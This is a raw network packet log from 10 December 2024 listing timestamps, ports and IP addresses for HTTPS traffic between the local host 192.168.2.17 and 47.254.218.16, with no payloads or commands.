Dec 10, 2024 12:48:55.819616079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.819658041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.825851917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.825867891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.825926065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.825930119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.825977087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.831413984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.831429005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.831478119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.831482887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.831523895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.837502003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.837517023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.837605000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.837610006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.837656021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.842947960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.842962980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.843027115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.843031883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.843077898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.848213911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.848227978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.848284960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.848290920 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.848355055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.854279041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.854291916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.854348898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.854355097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:55.854398966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:55.994821072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.006392002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.006409883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.006486893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.006493092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.006541967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.011681080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.011698008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.011763096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.011768103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.011816025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.017823935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.017839909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.017884970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.017890930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.017940044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.023591995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.023606062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.023658991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.023664951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.023731947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.028820038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.028837919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.028889894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.028894901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.028939962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.035254002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.035269022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.035324097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.035329103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.035376072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.040560961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.040594101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.040644884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.040651083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.040697098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.046588898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.046602964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.046669960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.046674967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.046717882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.184974909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.200436115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.200455904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.200548887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.200556040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.200599909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.206219912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.206235886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.206299067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.206305027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.206343889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.210392952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.210407972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.210469007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.210474968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.210517883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.215764999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.215779066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.215830088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.215835094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.215876102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.221570969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.221585035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.221638918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.221643925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.221681118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.229144096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.229159117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.229222059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.229227066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.229269981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.233181000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.233196020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.233269930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.233275890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.233314991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.239196062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.239209890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.239280939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.239284992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.239326954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.377587080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.391254902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.391269922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.391344070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.391350031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.391386986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.396578074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.396593094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.396636963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.396641016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.396683931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.402597904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.402612925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.402662992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.402672052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.402709007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.407829046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.407844067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.407902956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.407907963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.407953978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.413866043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.413880110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.413929939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.413934946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.413983107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.419426918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.419440985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.419492960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.419498920 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.419537067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.425374985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.425390005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.425440073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.425443888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.425487041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.431459904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.431478024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.431540012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.431545019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.431590080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.567709923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.583132982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.583148956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.583237886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.583244085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.583291054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.588915110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.588931084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.588984013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.588989973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.589034081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.594844103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.594857931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.594913006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.594922066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.594965935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.600106001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.600120068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.600166082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.600172043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.600210905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.606210947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.606225967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.606292009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.606297970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.606336117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.611741066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.611754894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.611814976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.611819983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.611860991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.617727041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.617742062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.617827892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.617834091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.617867947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.623677015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.623709917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.623737097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.623740911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.623773098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.623791933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.758977890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.775938988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.775959969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.776027918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.776036978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.776078939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.781800032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.781816959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.781867027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.781872988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.781917095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.787837029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.787858009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.787889004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.787894964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.787921906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.787949085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.793102026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.793116093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.793173075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.793178082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.793220997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.799103022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.799117088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.799170017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.799175024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.799216986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.804727077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.804753065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.804800987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.804805994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.804845095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.810611010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.810626030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.810681105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.810687065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.810728073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.816643953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.816658020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.816710949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.816715956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.816757917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.948916912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.973093987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.973112106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.973167896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.973174095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.973218918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.977864027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.977876902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.977931976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.977936983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.977978945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.983669996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.983684063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.983731985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.983736038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.983773947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.989707947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.989722013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.989782095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.989788055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.989836931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.994945049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.994959116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.995012045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:56.995018005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:56.995062113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.001521111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.001558065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.001609087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.001612902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.001657009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.006563902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.006577969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.006633043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.006638050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.006680965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.012511969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.012526989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.012573004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.012578964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.012620926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.142225027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.164319992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.164335012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.164402962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.164408922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.164450884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.170530081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.170543909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.170598984 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.170603991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.170655012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.175822973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.175837040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.175890923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.175895929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.175940037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.181813002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.181828022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.181875944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.181879997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.181919098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.187697887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.187712908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.187762022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.187767982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.187815905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.193404913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.193420887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.193478107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.193483114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.193517923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.199342012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.199354887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.199413061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.199418068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.199457884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.204804897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.204821110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.204878092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.204883099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.204929113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.335371017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.357502937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.357528925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.357601881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.357613087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.357642889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.357661963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.362749100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.362766027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.362807035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.362812996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.362837076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.362855911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.368561983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.368580103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.368635893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.368640900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.368678093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.374594927 CET	443	49729	47.254.218.16	192.168.2.17
